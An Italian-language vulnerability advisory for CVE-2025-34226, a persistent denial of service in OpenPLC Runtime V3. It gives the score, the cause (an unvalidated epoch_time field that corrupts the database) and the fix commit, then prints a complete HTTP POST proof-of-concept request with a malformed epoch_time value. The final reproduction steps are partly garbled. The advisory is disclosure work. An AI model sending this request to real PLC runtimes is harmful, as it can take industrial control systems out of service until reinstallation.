
OpenPLC Runtime soffre di una vulnerabilità di denial of service (DoS) persistente nell'endpoint /upload-program-action.
| Campo | Valore |
|---|---|
| ID CVE | CVE-2025-34226 |
| Interessa | OpenPLC Runtime V3 |
| Corretto in | (commit) 095ee09623dd229b64ad3a1db38a901a3772f6fc |
| Gravità | Alta |
| CVSS 4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N 7.1 (Alta) |
| CWE | CWE-664 Controllo improprio di una risorsa attraverso il suo ciclo di vita, CWE-20 Validazione dell'input impropria |
OpenPLC Runtime soffre di una vulnerabilità di denial of service (DoS) persistente nell'endpoint /upload-program-action.
Modificando il parametro epoch_time durante il caricamento di un programma, un utente autenticato con privilegi bassi può corrompere il database backend.
Questa corruzione inizialmente disabilita pagine critiche e, infine, impedisce l'avvio dell'intero runtime, rendendo di fatto l'applicazione inutilizzabile fino a una reinstallazione.
L'endpoint /upload-program-action accetta un campo epoch_time che viene scritto direttamente nel database senza validazione.
Quando questo campo viene impostato su un valore manipolato o senza senso (ad es. 1758627838 o dati malformati), OpenPLC memorizza uno stato incoerente.
Al ricaricamento o riavvio del runtime, l'applicazione interroga la riga corrotta e incontra un oggetto NoneType → crash fatale (TypeError: 'NoneType' object is not subscriptable).
POST /upload-program-action HTTP/1.1
Host: TARGET:8080
Content-Type: multipart/form-data; boundary=----BOUNDARY
Cookie: session=[valid-session-cookie]
------BOUNDARY
Content-Disposition: form-data; name="prog_name"
test
------BOUNDARY
Content-Disposition: form-data; name="prog_descr"
test
------BOUNDARY
Content-Disposition: form-data; name="prog_file"; filename="demo.st"
Content-Type: text/plain
PROGRAM demo
END_PROGRAM
------BOUNDARY
Content-Disposition: form-data; name="epoch_time"
"Just edit here and it will work (e.g "Hello !")"
------BOUNDARY--
/programsepoch_time e sostituiscila con un carattere casuale come "L" al posto dell'epoch_time originale/programs: vedrai che non funziona piùScoperta da: Eyodav